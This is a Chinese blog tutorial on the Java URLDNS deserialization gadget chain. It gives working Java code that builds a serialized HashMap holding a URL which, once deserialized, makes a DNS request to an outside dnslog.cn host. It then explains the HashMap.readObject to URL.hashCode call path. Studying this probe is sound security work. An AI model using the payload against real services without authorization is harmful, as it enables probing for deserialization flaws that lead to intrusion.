urldns

URLDNS链

测试代码

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;


public class UnserializeTest {
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws Exception{
        unserialize("ser.bin");
    }
}
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class URLDNSTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        HashMap<URL,Integer> hashmap=new HashMap<>();
        URL url = new URL("http://7muliu.dnslog.cn");
        //为了避免put时候发起请求,先将hashcode的值改成非-1的
        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url,1);
        hashmap.put(url,1);
        hashcodefield.set(url,-1);
        serialize(hashmap);
    }
}

分析

这条链调用的目标是URL类的hashcode方法,通过getHostAddress产生DNS请求。

入口类就是HashMap,它的readObject方法中调用了hash函数

在这里插入图片描述

然后hash函数中又调用了hashCode

在这里插入图片描述

然后下一步就是给HashMap传入URL类,这样就可以调用URLhash,进一步调用URLhashhashCode

HashMap<URL,Integer> hashmap=new HashMap<>();
        URL url = new URL("http://7muliu.dnslog.cn");

这里填写好dns地址,然后实例化两个类的对象

HashMap类的put方法中有调用到hash函数,同样会发起dns请求,为了不让序列化的过程中产生这个请求,需要把hashCode的值改成非-1的值

在这里插入图片描述

        Class c = url.getClass();
        Field hashcodefield = c.getDeclaredField("hashCode");
        hashcodefield.setAccessible(true);
        hashcodefield.set(url,1);

这里用反射获取URL的原型类,然后获取hashCode并设置值为1

        hashmap.put(url,1);
        hashcodefield.set(url,-1);
        serialize(hashmap);

put完之后再将hashCode的值改回-1,然后序列化

最后解决几个问题

为什么入口类用HashMap,不直接用URL

之前看过了HashMap类的readObject方法,下面看一下URLreadObject方法

    private synchronized void readObject(java.io.ObjectInputStream s)
            throws IOException, ClassNotFoundException {
        GetField gf = s.readFields();
        String protocol = (String)gf.get("protocol", null);
        if (getURLStreamHandler(protocol) == null) {
            throw new IOException("unknown protocol: " + protocol);
        }
        String host = (String)gf.get("host", null);
        int port = gf.get("port", -1);
        String authority = (String)gf.get("authority", null);
        String file = (String)gf.get("file", null);
        String ref = (String)gf.get("ref", null);
        int hashCode = gf.get("hashCode", -1);
        if (authority == null
                && ((host != null && !host.isEmpty()) || port != -1)) {
            if (host == null)
                host = "";
            authority = (port == -1) ? host : host + ":" + port;
        }
        tempState = new UrlDeserializedState(protocol, host, port, authority,
               file, ref, hashCode);
    }

他的readObject类中没有有用的调用,虽然也有一个名字是hashCode,但对应的值是一个变量,并不是目标函数,而我们的目标是URLhashCode方法,恰好HashMapreadObject调用了hash然后调用了hashCode,然后把URL类的对象url传入HashMap,就等于调用了URL类的hashCode

量,并不是目标函数,而我们的目标是URLhashCode方法,恰好HashMapreadObject调用了hash然后调用了hashCode,然后把URL类的对象url传入HashMap,就等于调用了URL类的hashCode

  • 5
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值